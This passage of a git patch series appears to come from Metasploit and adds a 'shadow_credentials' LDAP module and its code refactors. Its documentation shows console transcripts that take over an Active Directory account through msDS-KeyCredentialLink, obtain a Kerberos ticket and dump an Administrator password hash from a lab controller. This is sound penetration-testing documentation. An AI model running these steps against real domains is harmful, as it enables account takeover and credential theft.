specific certificate ID to operate on + + +Auxiliary action: + + Name Description + ---- ----------- + LIST Read all credentials associated with the account + + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129 +rhosts => 20.92.148.129 +msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL +domain => MSF.LOCAL +msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy +username => sandy +msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1! +password => Password1! +msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim +target_user => victim +msf6 auxiliary(admin/ldap/shadow_credentials) > set action add +action => add +msf6 auxiliary(admin/ldap/shadow_credentials) > run +[*] Running module against 20.92.148.129 + +[*] Discovering base DN automatically +[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local +[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx +[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07 +[*] Auxiliary module execution completed +``` + +The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module. + + +```msf +msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129 +rhosts => 20.92.148.129 +msf6 auxiliary(admin/kerberos/get_ticket) > set username victim +username => victim +msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL +domain => MSF.LOCAL +msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx +cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx +msf6 auxiliary(admin/kerberos/get_ticket) > run +[*] Running module against 20.92.148.129 + +[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate: +[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL +[+] 20.92.148.129:88 - Received a valid TGT-Response +[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin +[*] Auxiliary module execution completed +``` + +The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module: + +```msf +msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129 +[*] Running module against 20.92.148.129 + +[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL +[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response +[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin +[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response +[*] 20.92.148.129:445 - Service RemoteRegistry is already running +[*] 20.92.148.129:445 - Retrieving target system bootKey +[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919 +[*] 20.92.148.129:445 - Saving remote SAM database +[*] 20.92.148.129:445 - Dumping SAM hashes +[*] 20.92.148.129:445 - Password hints: +No users with password hints on this system +[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::): +Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89::: +``` + +### Window Server 2022 Domain Controller, Computer account targeting itself + +In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default. + +```msf +msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add +[*] Running module against 20.92.148.129 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 20.92.148.129:389 Getting root DSE +[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local +[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.shadowcr_502988.pfx +[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709 +[*] Auxiliary module execution completed +``` + +Note, however, that attempting to add a second credential will fail under these circumstances: + +```msf +msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add +[*] Running module against 20.92.148.129 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 20.92.148.129:389 Getting root DSE +[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local +[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s). +[-] Failed to update the msDS-KeyCredentialLink attribute. +[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights. +[*] Auxiliary module execution completed +``` + +This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value. +It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication +for any legitimate user relying on the existing value. + +```msf +msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush +action => flush +msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV +[*] Running module against 20.92.148.129 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 20.92.148.129:389 Getting root DSE +[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local +[+] Successfully deleted the msDS-KeyCredentialLink attribute. +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/shadow_credentials) > set action add +action => add +msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV +[*] Running module against 20.92.148.129 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 20.92.148.129:389 Getting root DSE +[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local +[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.shadowcr_785877.pfx +[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/lib/rex/proto/ldap/dn_binary.rb b/lib/rex/proto/ldap/dn_binary.rb index da55e68d8d2f..98db76afa36f 100755 --- a/lib/rex/proto/ldap/dn_binary.rb +++ b/lib/rex/proto/ldap/dn_binary.rb @@ -1,12 +1,17 @@ module Rex module Proto module LDAP + + # Handle converting objects into the DN-Binary syntax + # See: https://learn.microsoft.com/en-us/windows/win32/adschema/s-object-dn-binary class DnBinary def initialize(dn, data) self.dn = dn self.data = data end + # Turn a DN-Binary string into a structured object containing data and a DN + # @param str [String] A DN-Binary-formatted string def self.decode(str) groups = str.match(/B:(\d+):(([a-fA-F0-9]{2})*):(.*)/) raise ArgumentError.new('Invalid DN Binary string') if groups.nil? @@ -17,6 +22,8 @@ def self.decode(str) DnBinary.new(groups[4], data) end + # Turn this structured object containing data and a DN into a DN-Binary string + # @return [String] The DN-Binary-formatted string def encode data_hex = self.data.unpack('H*')[0] diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 79ec172fee4e..992c2312fdc9 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -16,6 +16,9 @@ def initialize self.custom_key_information = DEFAULT_KEY_INFORMATION end + # Set the key material for this credential object + # @param public_key [OpenSSL::RSA::PKey] Public key used for authentication + # @param key_usage [Enumeration] From the KEY_USAGE constants in this class def set_key(public_key, key_usage) self.public_key = public_key self.key_usage = key_usage @@ -23,6 +26,9 @@ def set_key(public_key, key_usage) calculate_raw_key_material end + # Set the time data for this credential object + # @param last_logon_time [Time] Last time this credential was used to log on + # @param creation_time [Time] Time that this key was created def set_times(last_logon_time, creation_time) self.key_approximate_last_logon_time_stamp = last_logon_time self.key_approximate_last_logon_time_stamp_raw = RubySMB::Field::FileTime.new(self.key_approximate_last_logon_time_stamp).to_binary_s @@ -31,6 +37,7 @@ def set_times(last_logon_time, creation_time) end # Creates a KeyCredentialStruct, including calculating the value for key_hash + # @return [KeyCredentialStruct] A structured object able to be converted to binary and sent to a DCc def to_struct result = KeyCredentialStruct.new result.version = KEY_CREDENTIAL_VERSION_2 @@ -50,7 +57,8 @@ def to_struct result end - + # Construct a KeyCredential object from a KeyCredentialStruct (likely received from a Domain Controller) + # @param cred_struct [KeyCredentialStruct] Credential structure to convert def self.from_struct(cred_struct) obj = KeyCredential.new obj.key_id = get_entry(cred_struct, 1) @@ -87,6 +95,10 @@ def self.from_struct(cred_struct) attr_accessor :key_approximate_last_logon_time_stamp # Approximate time this key was last used attr_accessor :key_creation_time # Approximate time this key was created + # Find the entry with the given identifier + # @param struct [KeyCredentialStruct] Structure containing entries to search through + # @param struct [Integer] Identifier to search for, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7 + # @return [String] The data associated with this identifier, or nil if not found def self.get_entry(struct, identifier) struct.credential_entries.each do |entry| if entry.identifier == identifier @@ -97,6 +109,11 @@ def self.get_entry(struct, identifier) private + # Create a KeyCredentialEntryStruct from the provided data, and insert it in to the provided structure + # @param struct [KeyCredentialStruct] Structure to insert the resulting entry into + # @param identifier [Integer] Identifier associated with this entry, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7 + # @param data [String] The data to create an entry from + # @param insert_at_end [Boolean] Whether to insert the new entry at the end of the credential_entries; otherwise will insert at start def add_entry(struct, identifier, data, insert_at_end: true) entry = KeyCredentialEntryStruct.new entry.identifier = identifier @@ -148,6 +165,8 @@ def calculate_raw_key_material self.key_id = sha256.digest(self.raw_key_material) end + # Parse the object's raw key material field into a OpenSSL::RSA::PKey object + # @param obj [KeyCredential] The object for which to parse the key def self.construct_public_key_from_raw_material(obj) case obj.key_usage when KEY_USAGE_NGC From 4557de9a72b5c9361aa47d0213fb12b23acef480 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Mon, 8 Apr 2024 11:31:22 +1000 Subject: [PATCH 13/14] Changes from code review --- .../admin/ldap/shadow_credentials.md | 10 +- lib/rex/proto/bcrypt_public_key.rb | 3 +- lib/rex/proto/ms_adts/key_credential.rb | 158 +++++++++--------- .../proto/ms_adts/key_credential_struct.rb | 14 -- ...=> ms_adts_key_credential_entry_struct.rb} | 2 +- .../ms_adts/ms_adts_key_credential_struct.rb | 14 ++ .../admin/ldap/shadow_credentials.rb | 42 ++--- .../rex/proto/ms_adts/key_credential_spec.rb | 10 +- 8 files changed, 116 insertions(+), 137 deletions(-) delete mode 100755 lib/rex/proto/ms_adts/key_credential_struct.rb rename lib/rex/proto/ms_adts/{key_credential_entry_struct.rb => ms_adts_key_credential_entry_struct.rb} (76%) create mode 100755 lib/rex/proto/ms_adts/ms_adts_key_credential_struct.rb diff --git a/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md index b35fc2e37bfc..2467d943c1d1 100755 --- a/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md +++ b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md @@ -152,7 +152,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run [*] Discovering base DN automatically [+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local -[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx +[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx [+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07 [*] Auxiliary module execution completed ``` @@ -167,8 +167,8 @@ msf6 auxiliary(admin/kerberos/get_ticket) > set username victim username => victim msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL domain => MSF.LOCAL -msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx -cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.shadowcr_300384.pfx +msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx +cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx msf6 auxiliary(admin/kerberos/get_ticket) > run [*] Running module against 20.92.148.129 @@ -212,7 +212,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username [*] Discovering base DN automatically [*] 20.92.148.129:389 Getting root DSE [+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local -[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.shadowcr_502988.pfx +[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx [+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709 [*] Auxiliary module execution completed ``` @@ -258,7 +258,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username [*] Discovering base DN automatically [*] 20.92.148.129:389 Getting root DSE [+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local -[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.shadowcr_785877.pfx +[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx [+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a [*] Auxiliary module execution completed ``` \ No newline at end of file diff --git a/lib/rex/proto/bcrypt_public_key.rb b/lib/rex/proto/bcrypt_public_key.rb index 40255336f50f..51dd63ebd8a9 100755 --- a/lib/rex/proto/bcrypt_public_key.rb +++ b/lib/rex/proto/bcrypt_public_key.rb @@ -3,11 +3,12 @@ require 'bindata' module Rex::Proto + # [_BCRYPT_RSAKEY_BLOB](https://github.com/tpn/winsdk-10/blob/9b69fd26ac0c7d0b83d378dba01080e93349c2ed/Include/10.0.14393.0/shared/bcrypt.h#L390) class BcryptPublicKey < BinData::Record MAGIC = 0x31415352 endian :little - uint32 :magic + uint32 :magic, initial_value: MAGIC uint32 :key_length uint32 :exponent_length, :value => lambda { exponent.length } uint32 :modulus_length, :value => lambda { modulus.length } diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 992c2312fdc9..30fe235fc1fb 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -1,5 +1,3 @@ -require 'securerandom' - module Rex::Proto::MsAdts class KeyCredential @@ -12,41 +10,73 @@ class KeyCredential def initialize self.key_source = 0 - self.device_id = SecureRandom.bytes(16) + self.device_id = Rex::Proto::MsDtyp::MsDtypGuid.new + self.device_id.set(Rex::Proto::MsDtyp::MsDtypGuid.random_generate) self.custom_key_information = DEFAULT_KEY_INFORMATION end # Set the key material for this credential object - # @param public_key [OpenSSL::RSA::PKey] Public key used for authentication + # @param public_key [OpenSSL::PKey::RSA] Public key used for authentication # @param key_usage [Enumeration] From the KEY_USAGE constants in this class def set_key(public_key, key_usage) - self.public_key = public_key self.key_usage = key_usage - calculate_raw_key_material + case self.key_usage + when KEY_USAGE_NGC + result = Rex::Proto::BcryptPublicKey.new + result.key_length = public_key.n.num_bits + n = self.class.int_to_bytes(public_key.n) + e = self.class.int_to_bytes(public_key.e) + result.exponent = e + result.modulus = n + result.prime1 = '' + result.prime2 = '' + self.raw_key_material = result.to_binary_s + else + # Unknown key type + return + end + sha256 = OpenSSL::Digest.new('SHA256') + self.key_id = sha256.digest(self.raw_key_material) end - # Set the time data for this credential object - # @param last_logon_time [Time] Last time this credential was used to log on - # @param creation_time [Time] Time that this key was created - def set_times(last_logon_time, creation_time) - self.key_approximate_last_logon_time_stamp = last_logon_time - self.key_approximate_last_logon_time_stamp_raw = RubySMB::Field::FileTime.new(self.key_approximate_last_logon_time_stamp).to_binary_s - self.key_creation_time = creation_time - self.key_creation_time_raw = RubySMB::Field::FileTime.new(self.key_creation_time).to_binary_s + # Approximate time this key was last used + # @return [Time] Approximate time this key was last used + def key_approximate_last_logon_time + ft = key_approximate_last_logon_time_raw + RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time end - # Creates a KeyCredentialStruct, including calculating the value for key_hash - # @return [KeyCredentialStruct] A structured object able to be converted to binary and sent to a DCc + # Set the approximate last logon time for this credential object + # @param time [Time] Last time this credential was used to log on + def key_approximate_last_logon_time=(time) + self.key_approximate_last_logon_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s + end + + # Approximate time this key was created + # @return [Time] Approximate time this key was created + def key_creation_time + ft = key_creation_time_raw + RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time + end + + # Set the creation time for this credential object + # @param time [Time] Time that this key was created + def key_creation_time=(time) + self.key_creation_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s + end + + # Creates a MsAdtsKeyCredentialStruct, including calculating the value for key_hash + # @return [MsAdtsKeyCredentialStruct] A structured object able to be converted to binary and sent to a DCc def to_struct - result = KeyCredentialStruct.new + result = MsAdtsKeyCredentialStruct.new result.version = KEY_CREDENTIAL_VERSION_2 add_entry(result, 3, self.raw_key_material) add_entry(result, 4, [self.key_usage].pack('C')) add_entry(result, 5, [self.key_source].pack('C')) - add_entry(result, 6, self.device_id) + add_entry(result, 6, self.device_id.to_binary_s) add_entry(result, 7, self.custom_key_information) - add_entry(result, 8, self.key_approximate_last_logon_time_stamp_raw) + add_entry(result, 8, self.key_approximate_last_logon_time_raw) add_entry(result, 9, self.key_creation_time_raw) calculate_key_hash(result) @@ -57,26 +87,21 @@ def to_struct result end - # Construct a KeyCredential object from a KeyCredentialStruct (likely received from a Domain Controller) - # @param cred_struct [KeyCredentialStruct] Credential structure to convert + # Construct a KeyCredential object from a MsAdtsKeyCredentialStruct (likely received from a Domain Controller) + # @param cred_struct [MsAdtsKeyCredentialStruct] Credential structure to convert def self.from_struct(cred_struct) obj = KeyCredential.new obj.key_id = get_entry(cred_struct, 1) obj.key_hash = get_entry(cred_struct, 2) obj.raw_key_material = get_entry(cred_struct, 3) - abc = get_entry(cred_struct, 4) obj.key_usage = get_entry(cred_struct, 4).unpack('C')[0] obj.key_source = get_entry(cred_struct, 5).unpack('C')[0] - obj.device_id = get_entry(cred_struct, 6) + obj.device_id = Rex::Proto::MsDtyp::MsDtypGuid.read(get_entry(cred_struct, 6)) obj.custom_key_information = get_entry(cred_struct, 7) ft = get_entry(cred_struct, 8) - obj.key_approximate_last_logon_time_stamp_raw = ft - obj.key_approximate_last_logon_time_stamp = RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time + obj.key_approximate_last_logon_time_raw = ft ft = get_entry(cred_struct, 9) obj.key_creation_time_raw = ft - obj.key_creation_time = RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time - - construct_public_key_from_raw_material(obj) obj end @@ -84,19 +109,16 @@ def self.from_struct(cred_struct) # Properties attr_accessor :key_id # SHA256 hash of KeyMaterial attr_accessor :key_hash # SHA256 hash of all entries after this entry - attr_accessor :public_key # The public_key applied to the account attr_accessor :raw_key_material # Key material of the credential, in bytes attr_accessor :key_usage # Enumeration attr_accessor :key_source # Always KEY_SOURCE_AD (0) - attr_accessor :device_id # Identifier for this credential + attr_accessor :device_id # [MsDtypGuid] Identifier for this credential attr_accessor :custom_key_information # Two bytes is fine: Version and Flags - attr_accessor :key_approximate_last_logon_time_stamp_raw # Raw bytes for approximate time this key was last used + attr_accessor :key_approximate_last_logon_time_raw # Raw bytes for approximate time this key was last used attr_accessor :key_creation_time_raw # Raw bytes for approximate time this key was created - attr_accessor :key_approximate_last_logon_time_stamp # Approximate time this key was last used - attr_accessor :key_creation_time # Approximate time this key was created # Find the entry with the given identifier - # @param struct [KeyCredentialStruct] Structure containing entries to search through + # @param struct [MsAdtsKeyCredentialStruct] Structure containing entries to search through # @param struct [Integer] Identifier to search for, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7 # @return [String] The data associated with this identifier, or nil if not found def self.get_entry(struct, identifier) @@ -107,15 +129,32 @@ def self.get_entry(struct, identifier) end end + # Parse the object's raw key material field into a OpenSSL::PKey::RSA object + # @param obj [KeyCredential] The object for which to parse the key + def public_key + case key_usage + when KEY_USAGE_NGC + if raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I')) + result = Rex::Proto::BcryptPublicKey.read(raw_key_material) + exponent = OpenSSL::ASN1::Integer.new(bytes_to_int(result.exponent)) + modulus = OpenSSL::ASN1::Integer.new(bytes_to_int(result.modulus)) + # OpenSSL's API has changed over time - constructing from DER has been consistent + data_sequence = OpenSSL::ASN1::Sequence([modulus, exponent]) + + OpenSSL::PKey::RSA.new(data_sequence.to_der) + end + end + end + private - # Create a KeyCredentialEntryStruct from the provided data, and insert it in to the provided structure - # @param struct [KeyCredentialStruct] Structure to insert the resulting entry into + # Create a MsAdtsKeyCredentialEntryStruct from the provided data, and insert it in to the provided structure + # @param struct [MsAdtsKeyCredentialStruct] Structure to insert the resulting entry into # @param identifier [Integer] Identifier associated with this entry, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7 # @param data [String] The data to create an entry from # @param insert_at_end [Boolean] Whether to insert the new entry at the end of the credential_entries; otherwise will insert at start def add_entry(struct, identifier, data, insert_at_end: true) - entry = KeyCredentialEntryStruct.new + entry = MsAdtsKeyCredentialEntryStruct.new entry.identifier = identifier entry.data = data entry.struct_length = data.length @@ -132,54 +171,15 @@ def self.int_to_bytes(num) [str].pack('H*') end - def self.bytes_to_int(num) + def bytes_to_int(num) num.unpack('H*')[0].to_i(16) end # Sets self.key_hash based on the credential_entries value in the provided parameter - # @param struct [KeyCredentialStruct] Its credential_entries value should have only those required to calculate the key_hash value (no key_id or key_hash) + # @param struct [MsAdtsKeyCredentialStruct] Its credential_entries value should have only those required to calculate the key_hash value (no key_id or key_hash) def calculate_key_hash(struct) - sha256 = OpenSSL::Digest.new('SHA256') - self.key_hash = sha256.digest(struct.credential_entries.to_binary_s) - end - - # Sets self.raw_key_material, based on the key material, and the key usage - def calculate_raw_key_material - case self.key_usage - when KEY_USAGE_NGC - result = Rex::Proto::BcryptPublicKey.new - result.magic = Rex::Proto::BcryptPublicKey::MAGIC - result.key_length = self.public_key.n.num_bits - n = self.class.int_to_bytes(self.public_key.n) - e = self.class.int_to_bytes(self.public_key.e) - result.exponent = e - result.modulus = n - result.prime1 = '' - result.prime2 = '' - self.raw_key_material = result.to_binary_s - else - # Unknown key type - return - end sha256 = OpenSSL::Digest.new('SHA256') - self.key_id = sha256.digest(self.raw_key_material) - end - - # Parse the object's raw key material field into a OpenSSL::RSA::PKey object - # @param obj [KeyCredential] The object for which to parse the key - def self.construct_public_key_from_raw_material(obj) - case obj.key_usage - when KEY_USAGE_NGC - if obj.raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I')) - result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) - exponent = OpenSSL::ASN1::Integer.new(bytes_to_int(result.exponent)) - modulus = OpenSSL::ASN1::Integer.new(bytes_to_int(result.modulus)) - # OpenSSL's API has changed over time - constructing from DER has been consistent - data_sequence = OpenSSL::ASN1::Sequence([modulus, exponent]) - key = OpenSSL::PKey::RSA.new(data_sequence.to_der) - obj.public_key = key - end - end + self.key_hash = sha256.digest(struct.credential_entries.to_binary_s) end end end \ No newline at end of file diff --git a/lib/rex/proto/ms_adts/key_credential_struct.rb b/lib/rex/proto/ms_adts/key_credential_struct.rb deleted file mode 100755 index 516516d19309..000000000000 --- a/lib/rex/proto/ms_adts/key_credential_struct.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- - -require 'bindata' -require 'rex/proto/ms_adts/key_credential_entry_struct' - -module Rex::Proto::MsAdts - class KeyCredentialStruct < BinData::Record - endian :little - - uint32 :version - - array :credential_entries, type: :key_credential_entry_struct, read_until: :eof - end -end diff --git a/lib/rex/proto/ms_adts/key_credential_entry_struct.rb b/lib/rex/proto/ms_adts/ms_adts_key_credential_entry_struct.rb similarity index 76% rename from lib/rex/proto/ms_adts/key_credential_entry_struct.rb rename to lib/rex/proto/ms_adts/ms_adts_key_credential_entry_struct.rb index b6eadf5e21b6..8d11dcce01ed 100755 --- a/lib/rex/proto/ms_adts/key_credential_entry_struct.rb +++ b/lib/rex/proto/ms_adts/ms_adts_key_credential_entry_struct.rb @@ -4,7 +4,7 @@ require 'bindata' module Rex::Proto::MsAdts - class KeyCredentialEntryStruct < BinData::Record + class MsAdtsKeyCredentialEntryStruct < BinData::Record endian :little uint16 :struct_length diff --git a/lib/rex/proto/ms_adts/ms_adts_key_credential_struct.rb b/lib/rex/proto/ms_adts/ms_adts_key_credential_struct.rb new file mode 100755 index 000000000000..c22415638d45 --- /dev/null +++ b/lib/rex/proto/ms_adts/ms_adts_key_credential_struct.rb @@ -0,0 +1,14 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'rex/proto/ms_adts/ms_adts_key_credential_entry_struct' + +module Rex::Proto::MsAdts + class MsAdtsKeyCredentialStruct < BinData::Record + endian :little + + uint32 :version + + array :credential_entries, type: :ms_adts_key_credential_entry_struct, read_until: :eof + end +end diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb index abf36182bb75..8a1d7362f772 100644 --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -49,13 +49,6 @@ def initialize(info = {}) OptString.new('TARGET_USER', [ true, 'The target to write to' ]), OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]), ]) - - # Default authentication will be basic auth, which won't work on Windows LDAP servers; so overwrite default to NTLM - register_advanced_options( - [ - OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), - ] - ) end def fail_with_ldap_error(message) @@ -63,27 +56,11 @@ def fail_with_ldap_error(message) return if ldap_result[:code] == 0 print_error(message) - # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes - case ldap_result[:code] - when 1 - fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}") - when 16 + if ldap_result[:code] == 16 fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.') - when 50 - fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.') - when 51 - fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.') - when 52 - fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.') - when 53 - fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.') - when 64 - fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.') - when 65 - fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.') + else + validate_query_result!(ldap_result) end - - fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}") end def warn_on_likely_user_error @@ -119,7 +96,7 @@ def ldap_get(filter, attributes: []) result = [] raw_obj[ATTRIBUTE].each do |entry| dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry) - struct = Rex::Proto::MsAdts::KeyCredentialStruct.read(dn_binary.data) + struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data) result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct)) end obj[ATTRIBUTE] = result @@ -168,7 +145,7 @@ def action_list(obj) end print_status('Existing credentials:') credential_entries.each do |credential| - print_status("DeviceID: #{bytes_to_uuid(credential.device_id)} - Created #{credential.key_creation_time}") + print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}") end end @@ -180,7 +157,7 @@ def action_remove(obj) end length_before = credential_entries.length - credential_entries.delete_if { |entry| bytes_to_uuid(entry.device_id) == datastore['DEVICE_ID'] } + credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] } if credential_entries.length == length_before print_status('No matching entries found - check device ID') else @@ -215,7 +192,8 @@ def action_add(obj) credential = Rex::Proto::MsAdts::KeyCredential.new credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC) now = ::Time.now - credential.set_times(now, now) + credential.key_approximate_last_logon_time = now + credential.key_creation_time = 